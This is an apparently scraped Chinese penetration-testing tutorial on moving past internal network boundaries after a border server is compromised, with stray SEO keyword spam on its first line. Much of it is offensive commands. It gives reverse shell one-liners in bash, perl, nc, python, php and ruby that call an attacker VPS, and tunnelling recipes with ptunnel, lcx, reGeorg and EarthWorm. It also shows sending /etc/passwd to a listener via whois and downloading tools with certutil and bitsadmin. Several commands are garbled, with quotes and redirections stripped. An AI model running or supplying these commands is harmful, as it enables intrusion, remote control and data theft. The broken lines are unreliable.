鞍山网上制作网站,专业企业网站开发联系电话,长春网络公司查找垚鑫科技,叙永县城乡建设部网站首页背景
“边界”通常是指内网与外网之间的那条边界#xff0c;在内网中#xff0c;边界也包括各个区域之间的边界。本篇文章主要介绍在内网各种环境中的shell反弹、内网穿透及文件传输方面常用的一些方法和工具#xff0c;利用这些方法来跨越内网中的层层边界。
当我们获取到…背景
“边界”通常是指内网与外网之间的那条边界在内网中边界也包括各个区域之间的边界。本篇文章主要介绍在内网各种环境中的shell反弹、内网穿透及文件传输方面常用的一些方法和工具利用这些方法来跨越内网中的层层边界。
当我们获取到互联网边界服务器权限之后我们可以通过边界服务器对内网进行探测收集一些内网信息比如扫描内网存活的主机、系统指纹识别、开放的端口和服务之后通过某些攻击方式获取到内网服务器权限。如果内网环境比较复杂划分多个区域不通区域之间访问策略各有限制就需要在内网区域之间进行层层穿透。
网络连通性
获取到内网某台设备权限之后需要先测试一下网络连通性常用的测试有ping、http、tcp、dns等方式。
ping: ping www.xx.com
http: curl www.xx.com
dns: 在http://www.dnslog.cn/里生成一个子域名xxxx.dnslog.cn 使用nslookup xxxx.dnslog.cn 查看该子域名访问记录如果没有记录则说明不可以访问互联网 内网跨边界之反弹shell
我们在获取内网设备权限的时候可以将其shell反弹到我们位于公网的VPS上利用后渗透工具协同作战可以方便进行我们后续的工作。
VPS假定的ip为66.66.66.66监听端口为1234nc -lvvp 1234
bash:
bash -I /dev/tcp/66.66.66.66/1234 01
perl: perl -e use Socket;$i66.66.66.66;$p1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/sh -i);};
ets);IO.popen(cmd,r){|io|c.print io.read}end
nc
nc -vv 66.66.66.66 1234 -e /bin/bash
telnet
mknod backpipe p telnet 66.66.66.66 1234 0backpipe | /bin/bash 1backpipe
python
python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((66.66.66.66,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);
php
php -r $sockfsockopen(66.66.66.66,1234);exec(/bin/sh -i 3 3 23);ruby
ruby -rsocket -e exit if fork;cTCPSocket.new(66.66.66.66,1234);while(cmdc.gets);IO.popen(cmd,r){|io|c.print io.read}end内网跨边界之内网穿透
在内网设备不能出网的情况下我们可以建立隧道从而达到我们访问内网的目的同样我们也可以利用隧道对多区域多层级内网进行穿透直抵目标。
穿透前client端只能访问到web_server无法访问到db_server 穿透后,client通过web_server可以访问到db_server 代理分为正向代理和反向代理
正向代理代理客户端流量对服务端而言无法发现真实的客户端信息。 反向代理代理服务端流量对客户端而言无法发现真实的服务端信息。 网络层隧道
icmp隧道
将数据封装在 ICMP 请求数据包中发送给服务器,而服务器端则会使用相匹配的 ICMP 响应数据包进行回复这种方式可以绕过防火墙对TCP与UDP的限制策略类似的还有IPv6隧道技术。
1、使用ptunnel在跳板机上建立隧道的一端。
ptunnel -x password
2、在VPS上使用ptunnel设置将内网3389端口和本地1234端口建立隧道
ptunnel -p 跳板机 IP -lp 1234 -da 内网设备 IP-dp 3389 -x password传输层隧道
通常说我们说的端口转发就是建立了一个传输层隧道我们进行端口转发可以绕过防火墙对某些特定端口的限制比如22、3389等。
LCX
lcx.exe -tran 1234 127.0.0.1 3389 #将本地3389端口转发到1234端口上
在跳板机执行 :
lcx.exe -slave 66.66.66.66 1234 192.168.1.1 3389 #将内网192.168.1.1上3389端口转发到外网66.66.66.66上的1234端口
在VPS上执行 :
lcx.exe -listen 1234 4321 #将1234端口的流量转发到4321端口结合上条命令访问66.66.66.66的4321端口就等同于访问192.168.1.1的3389端口应用层隧道
利用HTTP、SSH等应用层协议建立隧道HTTP隧道在web应用服务器上使用简单对权限要求低regeorg 与tunna、reDuh类似。
regeorg
1、在web目录下上传脚本以aspx为例上传成功后访问该脚本显示如下图。 2、在VPS上运行:
python reGeorgSocksProxy.py -u http:// xx.com/tunnel.aspx -l 0.0.0.0 -p 1234 #这样VPS的1234端口与web服务器的隧道就建立起来了。
3、配置好socks代理设置后就可以通过本地的1234端口访问web服务器可访问的内网设备。
ssh tunnel
ssh -C -f -N -g -L 0.0.0.0:1234:192.168.1.1:3389 user跳板机ip -p 22需要跳板机ssh的密码将内网192.168.1.1的3389端口通过跳板机转发到vps的1234端口。
socks代理
ewEarthWorm
EW 是一套便携式的内网穿透工具具有 SOCKS v5服务架设和端口转发两大核心功能可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道。
正向socks代理
ew -s ssocksd -l 1080
反向socks代理
在vps上执行
ew -s rcsocks -l 1080 -e 1234
在跳板机上执行
ew -s rssocks -d vps_ip -e 1234
在vps上通过1080端口即可访问跳板机内网段设备。
二级正向代理
在一级内网机器上执行该一级内网机器可访问二级内网
ew -s ssocksd -l 1081
在跳板机上进行端口转发:
ew -s lcx_tran -l 1080 -f 一级内网ip -g 1081
在VPS上配置socks代理代理配置指向跳板机的1080端口即可访问二级内网。
EW最有强大的就是它的多级代理操作方便层层穿透直达目标。 内网跨边界之文件传输
进入内网后可能需要将某些文件工具进行上传或下载但是内网数据存放的环境各种各样在面对不同的内网环境情况下我们需要多储备一些在不同环境下进行文件传输的方法。
nc:
接收机
nc -lvvp 1234 save.txt #将收到的文件保存为save.txt发送机
nc 接收机ip 1234 send.txt #传输send.txt文件此时接收机上的save.txt文件就是发送机上的send.txt文件。
whois命令:
接收机
nc -lvvp 1234
发送机
whois -h 接收机ip -p 1234 cat /etc/passwd
此时在接收机上即可看到发送机的/etc/passwd信息
vbs:
在发送机web根目录下放置一个send.zip
在接收机上创建save.vbs,内容如下
set xPostcreateObject(Microsoft.XMLHTTP)xPost.Open GET,http://发送机ip/send.zip,0xPost.Send()set sGetcreateObject(ADODB.Stream)sGet.Mode3sGet.Type1sGet.Open()sGet.Write xPost.ResponseBodysGet.SaveToFile c:\save.zip,2
执行后在C盘录下查看save.zip。
Python
在发送机web根目录下放置一个send.zip
在接收机上创建save.py,内容如下
#!/usr/bin/pythonimport urllib2u urllib2.urlopen(http://发送机ip/send.zip)localFile open(/tmp/save.zip,w)localFile.write(u.read())localFile.close()
执行后在/tmp目录下查看。
ruby:
在发送机web根目录下放置一个send.zip
在接收机上创建save.rb,内容如下
#!ruby#!/usr/bin/rubyrequire net/httpNet::HTTP.start(发送机ip/send.zip){|http|rhttp.get(/send.zip)open(/tmp/save.zip,wb){|file|file.write(r.body)}}
执行后在/tmp目录下查看。
wget:
在发送机web根目录下放置一个send.zip
在接收机执行
wget http://发送机ip/send.zip -P /tmp/
powershell:
在发送机web根目录下放置一个send.zip
在接收机创建save.ps1,内容如下:
$d New-Object System.Net.WebClient$d.DownloadFile(http://发送机ip/send.zip,c:/save.zip)
perl:
在发送机web根目录下放置一个send.zip
在接收机创建save.pl,内容如下:
use LWP::Simple;my $url http://发送机ip/send.zip;my $file /tmp/save.zip;getstore($url,$file);bitsadmin:在发送机web根目录下放置一个send.zip
在接收机执行
bitsadmin /transfer n http://发送机ip/send.zip c:\save.zip
scp:
在发送机/tmp目录下创建send.txt
在接收机执行
scp user发送机ip:/tmp/send.txt save.txt
certutil:
在发送机web根目录下放置一个send.zip
在接收机执行
certutil.exe -urlcache -split -f http://发送机ip/send.zip c:\save.zip
总结
随着安全设备和安全软件开始 “盯上” 这些工具检测力度的升级使得很多工具都会被查杀工具免杀是个很好的研究方向。攻、防 总是相爱相杀在对抗中提升各自的能力推动安全技术的发展。